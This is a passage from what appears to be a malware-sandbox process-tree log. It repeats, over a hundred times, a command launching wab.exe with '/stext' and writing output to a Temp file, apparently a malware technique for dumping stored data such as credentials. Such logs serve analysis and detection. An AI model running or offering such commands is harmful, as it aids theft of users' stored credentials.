    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6036
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6044
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6052
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6060
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6068
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6076
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6084
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6092
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6100
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6108
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6116
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6124
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6132
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6140
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5632
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6148
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6156
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6164
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6172
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6180
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6188
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6196
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6204
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6212
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6220
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6228
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6236
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6244
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6252
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6260
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6268
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6276
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6284
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6292
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6300
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6308
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6316
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6324
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6332
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6340
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6348
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6356
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6364
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6372
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6380
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6388
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6396
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6404
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6412
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6420
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6428
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6436
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6444
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6452
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6460
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6468
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6476
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6484
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6492
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6500
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6508
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6516
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6524
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6532
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6540
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6548
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6556
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6564
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6572
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6580
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6588
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6596
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6604
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6612
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6620
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6628
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6636
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6644
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6652
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6660
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6668
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6676
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6684
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6692
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6700
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6708
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6716
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6724
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6732
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6740
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6748
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6756
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6764
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6772
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6780
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6788
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6796
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6804
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6812
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6820
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6828
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6836
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6844
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6852
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6860
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6868
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6876
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6884
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6892
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6900
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6908
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6916
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6924
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6932
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6940
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6948
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6956
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6964
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6972
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6980
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6988
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6996
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7004
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7012
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7020
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7028
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7036
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7044
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7052
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7060
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7068
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7076
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:7084
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
